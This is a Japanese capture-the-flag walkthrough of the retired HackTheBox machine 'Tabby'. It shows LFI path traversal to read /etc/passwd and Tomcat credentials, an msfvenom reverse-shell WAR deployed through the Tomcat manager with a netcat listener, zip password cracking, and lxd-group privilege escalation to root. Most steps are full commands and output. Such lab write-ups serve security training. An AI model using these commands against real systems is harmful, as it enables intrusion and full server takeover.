【HackTheBox】Tabby - Walkthrough -


本稿では、Hack The Boxにて提供されている Retired Machines の「Tabby」に関する攻略方法(Walkthrough)について検証します。

Hack The Boxに関する詳細は、「Hack The Boxを楽しむためのKali Linuxチューニング」を併せてご確認ください。

マシンの詳細

エグゼクティブサマリー

ツール

  • nmap
  • tomcat-users.xml
  • msfvenom
  • NetCat
  • fcrackzip
  • lxd-alpine-builder

詳細手順

ネットワークサービススキャン

nmap

IPアドレス 10.10.10.194tabby.htb として、 /etc/hosts に追加します。その上で、nmapを使用し、ポートスキャンを実行します。

kali@kali:~$ nmap -Pn -T4 -A -v tabby.htb
Starting Nmap 7.80 ( https://nmap.org ) at 2020-08-07 00:34 EDT
NSE: Loaded 151 scripts for scanning.
NSE: Script Pre-scanning.
Initiating NSE at 00:34
Completed NSE at 00:34, 0.00s elapsed
Initiating NSE at 00:34
Completed NSE at 00:34, 0.00s elapsed
Initiating NSE at 00:34
Completed NSE at 00:34, 0.00s elapsed
Initiating Connect Scan at 00:34
Scanning tabby.htb (10.10.10.194) [1000 ports]
Discovered open port 80/tcp on 10.10.10.194
Discovered open port 8080/tcp on 10.10.10.194
Discovered open port 22/tcp on 10.10.10.194
Completed Connect Scan at 00:34, 1.12s elapsed (1000 total ports)
Initiating Service scan at 00:34
Scanning 3 services on tabby.htb (10.10.10.194)
Completed Service scan at 00:34, 6.18s elapsed (3 services on 1 host)
NSE: Script scanning 10.10.10.194.
Initiating NSE at 00:34
Completed NSE at 00:34, 2.71s elapsed
Initiating NSE at 00:34
Completed NSE at 00:34, 0.33s elapsed
Initiating NSE at 00:34
Completed NSE at 00:34, 0.00s elapsed
Nmap scan report for tabby.htb (10.10.10.194)
Host is up (0.080s latency).
Not shown: 997 closed ports
PORT     STATE SERVICE VERSION
22/tcp   open  ssh     OpenSSH 8.2p1 Ubuntu 4 (Ubuntu Linux; protocol 2.0)
80/tcp   open  http    Apache httpd 2.4.41 ((Ubuntu))
|_http-favicon: Unknown favicon MD5: 338ABBB5EA8D80B9869555ECA253D49D
| http-methods: 
|_  Supported Methods: GET HEAD POST OPTIONS
|_http-server-header: Apache/2.4.41 (Ubuntu)
|_http-title: Mega Hosting
8080/tcp open  http    Apache Tomcat
| http-methods: 
|_  Supported Methods: OPTIONS GET HEAD POST
|_http-open-proxy: Proxy might be redirecting requests
|_http-title: Apache Tomcat
Service Info: OS: Linux; CPE: cpe:/o:linux:linux_kernel

NSE: Script Post-scanning.
Initiating NSE at 00:34
Completed NSE at 00:34, 0.00s elapsed
Initiating NSE at 00:34
Completed NSE at 00:34, 0.00s elapsed
Initiating NSE at 00:34
Completed NSE at 00:34, 0.00s elapsed
Read data files from: /usr/bin/../share/nmap
Service detection performed. Please report any incorrect results at https://nmap.org/submit/ .
Nmap done: 1 IP address (1 host up) scanned in 11.18 seconds

これで、標的にて稼働しているサービスが判明しました。特に気になるのは次の通りです。

ポート番号 サービス バージョン
22/tcp ssh OpenSSH 8.2p1 Ubuntu 4 (Ubuntu Linux; protocol 2.0)
80/tcp http Apache httpd 2.4.41 ((Ubuntu))
8080/tcp http Apache Tomcat

HTTPサービスのスキャン

Firefoxブラウザを使って80/tcpにアクセスしてみます。

トップページにおける以下の記載が気になります。

We have recently upgraded several services. Our servers are now more secure than ever. Read our statement on recovering from the data breach

リンク先を確認します。

Local File Inclusion

Local File Inclusion (LFI) の脆弱性を抱えている可能性があります。次のURLにアクセスし、確認してみます。

view-source:http://10.10.10.194/news.php?file=../../../../../etc/passwd

Tomcat

Apache Tomcatが稼働していることはすでに把握しています。そこで、LFIの脆弱性を突いて、Tomcatの資格情報(tomcat-users.xml)の取得を試みます。

view-source:http://10.10.10.194/news.php?file=../../../../../../usr/share/tomcat9/etc/tomcat-users.xml

ユーザー名 パスワード 権限
tomcat $3cureP4s5w0rd123! admin-gui,manager-script

アクセス権の取得

ペイロードの作成

msfvenomコマンドを使い、java/jsp_shell_reverse_tcpリバースシェルを起動するペイロードを生成します。

kali@kali:~$ msfvenom -p java/jsp_shell_reverse_tcp LHOST=10.10.14.5 LPORT=1234 -f war > payload.war

ペイロードのアップロード

msfvenomコマンドで生成したpayload.wartabby.htbへアップロードします。

kali@kali:~$ curl --user 'tomcat:$3cureP4s5w0rd123!' --upload-file payload.war "http://10.10.10.194:8080/manager/text/deploy?path=/payload.war"

tabby.htbpayload.warがアップロードされていることをリストから確認します。

kali@kali:~$ curl -u 'tomcat':'$3cureP4s5w0rd123!' http://10.10.10.194:8080/manager/text/list
OK - Listed applications for virtual host [localhost]
/:running:0:ROOT
/foo:running:0:foo
/payload.war:running:0:payload.war
/examples:running:0:/usr/share/tomcat9-examples/examples
/host-manager:running:0:/usr/share/tomcat9-admin/host-manager
/manager:running:0:/usr/share/tomcat9-admin/manager
/docs:running:0:/usr/share/tomcat9-docs/docs

ユーザーシェルの取得

ポート 1234にてリバースシェルを待ち受けます。

kali@kali:~$ nc -lnvp 1234
listening on [any] 1234 ...

curlコマンドまたはFirefoxにてpayload.warを実行します。

kali@kali:~$ curl -u 'tomcat':'$3cureP4s5w0rd123!' http://10.10.10.194:8080/payload.war

payload.warの実行が成功した場合、tomcat権限のシェルを確立させることができます。

kali@kali:~$ nc -lnvp 1234
listening on [any] 1234 ...
connect to [10.10.14.5] from (UNKNOWN) [10.10.10.194] 37826

whoami
tomcat

シェルのアップグレード

操作性を高めるため、シェルをアップグレードします。

python3 -c 'import pty; pty.spawn("/usr/bin/bash")'
tomcat@tabby:/var/lib/tomcat9$ 

システム探索

/var/www/html/filesディレクトリの内容を確認します。ここで、16162020_backup.zipファイルに注目します。

tomcat@tabby:/var/lib/tomcat9$ cd /var/www/html/files
cd /var/www/html/files
tomcat@tabby:/var/www/html/files$ ls
ls
16162020_backup.zip  archive  revoked_certs  statement

ファイルの転送

16162020_backup.zipファイルをkali上に転送します。
ここでは、tabby.htb上で16162020_backup.zipファイルをBASE64形式に変換し、テキスト情報としてkali上に転送しています。

tomcat@tabby:/var/www/html/files$ base64 16162020_backup.zip 
base64 16162020_backup.zip 
UEsDBAoAAAAAAIUDf0gAAAAAAAAAAAAAAAAUABwAdmFyL3d3dy9odG1sL2Fzc2V0cy9VVAkAAxpv
/FYkaMZedXgLAAEEAAAAAAQAAAAAUEsDBBQACQAIALV9LUjibSsoUgEAAP4CAAAYABwAdmFyL3d3
.
省略
.
FAAJAAgAi2pqSOOc2zIlAwAAJgYAABcAGAAAAAAAAQAAAKSB8BsAAHZhci93d3cvaHRtbC9SZWFk
bWUudHh0VVQFAAOWdOFWdXgLAAEEAAAAAAQAAAAAUEsFBgAAAAAHAAcAgAIAAHYfAAAAAA==
tomcat@tabby:/var/www/html/files$ 

kali端末上でテキスト情報からバイナリ情報に変換します。

kali@kali:~$ echo "<BASE64コードをペースト>"|base64 -d >16162020_backup.zip

パスワード保護されたファイルの解析

16162020_backup.zipファイルはパスワード保護されています。
パスワードをクラックするためにfcrackzipをインストールします。

kali@kali:~$ sudo apt-get install fcrackzip
kali@kali:~$ fcrackzip -v -D -u -p ./rockyou.txt backup.zip
'var/www/html/assets/' is not encrypted, skipping
found file 'var/www/html/favicon.ico', (size cp/uc    338/   766, flags 9, chk 7db5)
'var/www/html/files/' is not encrypted, skipping
found file 'var/www/html/index.php', (size cp/uc   3255/ 14793, flags 9, chk 5935)
found file 'var/www/html/logo.png', (size cp/uc   2906/  2894, flags 9, chk 5d46)
found file 'var/www/html/news.php', (size cp/uc    114/   123, flags 9, chk 5a7a)
found file 'var/www/html/Readme.txt', (size cp/uc    805/  1574, flags 9, chk 6a8b)
checking pw arizon1                                 

PASSWORD FOUND!!!!: pw == admin@it
ユーザー名 パスワード
ash admin@it

userフラグの取得

tomcat@tabby:/var/www/html/files$ su ash
su ash
Password: admin@it

ash@tabby:/var/www/html/files$ cd ~
cd ~
ash@tabby:~$ ls
ls
user.txt
ash@tabby:~$ cat user.txt
cat user.txt

特権エスカレーション

ユーザー ashlxdグループのメンバーであることが確認できます。

ash@tabby:~$ id
id
uid=1000(ash) gid=1000(ash) groups=1000(ash),4(adm),24(cdrom),30(dip),46(plugdev),116(lxd)
kali@kali:~$ git clone https://github.com/saghul/lxd-alpine-builder.git
kali@kali:~$ cd lxd-alpine-builder
kali@kali:~/lxd-alpine-builder$ sudo ./build-alpine 
Determining the latest release... v3.12
.
省略
.
(18/19) Installing alpine-keys (2.2-r0)
(19/19) Installing alpine-base (3.12.0-r0)
Executing busybox-1.31.1-r19.trigger
OK: 8 MiB in 19 packages
kali@kali:~/lxd-alpine-builder$ ls
alpine-v3.12-x86_64-20200807_0342.tar.gz  build-alpine  LICENSE  README.md
kali@kali:~/lxd-alpine-builder$ python -m SimpleHTTPServer 1234
Serving HTTP on 0.0.0.0 port 1234 ...
10.10.10.194 - - [07/Aug/2020 03:51:39] "GET /alpine-v3.12-x86_64-20200807_0342.tar.gz HTTP/1.1" 200 -
ash@tabby:~/temp$ wget http://10.10.14.5:1234/alpine-v3.12-x86_64-20200807_0342.tar.gz
<.14.5:1234/alpine-v3.12-x86_64-20200807_0342.tar.gz
--2020-08-07 08:05:07--  http://10.10.14.5:1234/alpine-v3.12-x86_64-20200807_0342.tar.gz
Connecting to 10.10.14.5:1234... connected.
HTTP request sent, awaiting response... 200 OK
Length: 3201487 (3.1M) [application/gzip]
Saving to: ‘alpine-v3.12-x86_64-20200807_0342.tar.gz’

alpine-v3.12-x86_64 100%[===================>]   3.05M  3.35MB/s    in 0.9s    

2020-08-07 08:05:08 (3.35 MB/s) - ‘alpine-v3.12-x86_64-20200807_0342.tar.gz’ saved [3201487/3201487]
ash@tabby:~/temp$ lxc image import ./alpine-v3.12-x86_64-20200807_0342.tar.gz --alias myimage
<e-v3.12-x86_64-20200807_0342.tar.gz --alias myimage
If this is your first time running LXD on this machine, you should also run: lxd init
To start your first instance, try: lxc launch ubuntu:18.04

ash@tabby:~/temp$ lxc image list
lxc image list
+---------+--------------+--------+-------------------------------+--------------+-----------+--------+-----------------------------+
|  ALIAS  | FINGERPRINT  | PUBLIC |          DESCRIPTION          | ARCHITECTURE |   TYPE    |  SIZE  |         UPLOAD DATE         |
+---------+--------------+--------+-------------------------------+--------------+-----------+--------+-----------------------------+
| myimage | d881b5219ab4 | no     | alpine v3.12 (20200807_03:42) | x86_64       | CONTAINER | 3.05MB | Aug 7, 2020 at 8:08am (UTC) |
+---------+--------------+--------+-------------------------------+--------------+-----------+--------+-----------------------------+
ash@tabby:~/temp$

エラーError: No storage pool found. Please create a new storage poolが発生しています。

ash@tabby:~/temp$ lxc init myimage privesc -c security.privileged=true
lxc init myimage privesc -c security.privileged=true
Creating privesc
Error: No storage pool found. Please create a new storage pool

エラーを回避するために、lxd initコマンドを実行します。

ash@tabby:~/temp$ lxd init
lxd init
Would you like to use LXD clustering? (yes/no) [default=no]: 

Do you want to configure a new storage pool? (yes/no) [default=yes]: 

Name of the new storage pool [default=default]: 

Name of the storage backend to use (btrfs, dir, lvm, ceph) [default=btrfs]: 

Create a new BTRFS pool? (yes/no) [default=yes]: 

Would you like to use an existing block device? (yes/no) [default=no]: 

Size in GB of the new loop device (1GB minimum) [default=15GB]: 

Would you like to connect to a MAAS server? (yes/no) [default=no]: 

Would you like to create a new local network bridge? (yes/no) [default=yes]: 

What should the new bridge be called? [default=lxdbr0]: 

What IPv4 address should be used? (CIDR subnet notation, “auto” or “none”) [default=auto]: 

What IPv6 address should be used? (CIDR subnet notation, “auto” or “none”) [default=auto]: 

Would you like LXD to be available over the network? (yes/no) [default=no]: 

Would you like stale cached images to be updated automatically? (yes/no) [default=yes] 

Would you like a YAML "lxd init" preseed to be printed? (yes/no) [default=no]: 

ash@tabby:~/temp$
ash@tabby:~/temp$ lxc init myimage privesc -c security.privileged=true
lxc init myimage privesc -c security.privileged=true
Creating privesc
ash@tabby:~/temp$
ash@tabby:~/temp$ lxc config device add privesc mydevice disk source=/ path=/mnt/root recursive=true
<ydevice disk source=/ path=/mnt/root recursive=true
Device mydevice added to ignite
ash@tabby:~/temp$ 
ash@tabby:/var/lib/tomcat9$ lxc start privesc
lxc start privesc
ash@tabby:/var/lib/tomcat9$ lxc exec privesc /bin/sh
lxc exec privesc /bin/sh
~ # ^[[8;5Rwhoami
whoami
root
~ # ^[[31;5Rcd /mnt/root/root
cd /mnt/root/root
/mnt/root/root # ^[[33;18Rls
ls
root.txt  snap
/mnt/root/root # ^[[36;18Rcat root.txt

参考情報